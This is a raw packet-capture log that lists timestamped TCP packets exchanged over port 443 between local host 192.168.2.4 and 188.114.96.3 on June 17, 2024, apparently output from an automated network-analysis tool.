Jun 17, 2024 16:18:55.186378956 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.186395884 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.186722994 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.186743975 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.186779976 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.186793089 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.186816931 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.186834097 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.187324047 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.187344074 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.187378883 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.187390089 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.187422991 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.187441111 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.187457085 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.187480927 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.187505007 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.187514067 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.187542915 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.187558889 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.187611103 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.187630892 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.187666893 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.187674046 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.187699080 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.187716961 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.187778950 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.187798023 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.187824011 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.187833071 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.187855959 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.187879086 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.187952995 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.187973022 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.187999010 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.188008070 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.188031912 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.188050032 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.188062906 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.188082933 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.188107967 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.188114882 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.188141108 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.188158989 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.188215971 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.188235998 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.188261032 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.188268900 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.188292980 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.188308001 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.188333035 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.188354969 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.188381910 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.188390017 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.188415051 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.188430071 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.188584089 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.188604116 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.188632011 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.188642025 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.188663960 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.188674927 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.188699961 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.188699961 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.188714027 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.188730955 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.188764095 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.188877106 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.188898087 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.188925982 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.188935995 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.188961029 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.188973904 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.189058065 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.189078093 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.189105034 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.189116001 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.189135075 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.189143896 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.189153910 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.189165115 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.189182043 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.189192057 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.189222097 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.189234018 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.189343929 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.189363003 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.189390898 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.189404964 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.189421892 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.189438105 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.189511061 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.189532995 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.189562082 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.189574957 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.189593077 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.189613104 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.189719915 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.189740896 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.189769030 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.189781904 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.189799070 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.189821959 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.189944029 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.189966917 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.189997911 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.190006971 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.190030098 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.190047026 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.190051079 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.190063953 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.190087080 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.190098047 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.190129042 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.190139055 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.190253019 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.190270901 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.190299988 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.190310955 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.190329075 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.190351009 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.190422058 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.190452099 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.190476894 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.190485001 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.190510035 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.190515995 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.190529108 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.190538883 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.190557957 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.190563917 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.190592051 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.190603018 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.190619946 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.190638065 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.190649986 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.190656900 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.190669060 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.190682888 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.190716982 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.190885067 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.190908909 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.190932989 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.190943003 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.190958023 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.191032887 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.191056967 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.191062927 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.191073895 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.191081047 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.191117048 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.191215992 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.191235065 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.191268921 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.191279888 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.191294909 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.191309929 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.191313028 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.191323042 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.191346884 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.191371918 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.191382885 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.191407919 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.191425085 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.191533089 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.191553116 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.191577911 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.191589117 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.191612005 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.191629887 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.191641092 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.191660881 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.191689968 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.191699982 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.191725016 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.191736937 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.191741943 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.191750050 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.191773891 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.191786051 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.191793919 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.191817999 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.191833019 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.192090988 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.192109108 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.192148924 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.192159891 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.192187071 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.192205906 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.192251921 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.192272902 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.192301035 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.192311049 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.192333937 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.192343950 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.192352057 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.192361116 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.192375898 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.192387104 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.192428112 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.192437887 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.192460060 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.192472935 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.192488909 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.192502975 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.192507029 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.192547083 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.192667007 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.192687035 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.192714930 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.192723989 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.192739010 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.192823887 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.192843914 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.192864895 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.192893982 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.192904949 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.192926884 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.192944050 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.192986965 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.193006992 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.193037033 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.193046093 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.193070889 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.193087101 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.193093061 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.193104029 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.193131924 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.193144083 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.193154097 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.193173885 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.193191051 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.193280935 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.193301916 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.193330050 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.193341970 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.193362951 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.193378925 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.193466902 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.193489075 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.193526983 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.193535089 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.193559885 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.193574905 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.193617105 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.193638086 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.193671942 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.193681955 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.193706036 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.193722010 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.193775892 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.193797112 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.193824053 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.193830967 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.193856001 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.193865061 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.193873882 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.193881035 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.193897009 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.193908930 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.193941116 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.193949938 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.194061995 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.194081068 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.194091082 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.194098949 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.194128990 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.194158077 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.194169998 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.194190025 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.194220066 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.194227934 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.194240093 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.194330931 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.194392920 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.194416046 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.194437027 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.194446087 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.194469929 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.194487095 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.194643974 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.194669962 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.194696903 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.194706917 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.194736004 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.194751024 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.194777966 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.194798946 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.194839954 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.194850922 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.194869041 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.194899082 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.194921970 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.194946051 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.194958925 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.194969893 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.194998980 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.195115089 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.195133924 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.195163965 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.195175886 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.195189953 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.195286036 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.195310116 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.195338964 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.195349932 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.195364952 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.195390940 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.195465088 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.195486069 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.195524931 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.195533991 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.195552111 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.195552111 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.195583105 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.195597887 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.195606947 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.195632935 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.195657015 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.195681095 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.195702076 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.195735931 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.195743084 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.195760012 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.195775032 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.195852995 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.195873976 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.195908070 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.195915937 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.195938110 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.195955038 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.196050882 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.196072102 CEST	443	49733	188.114.96.3	192.168.2.4
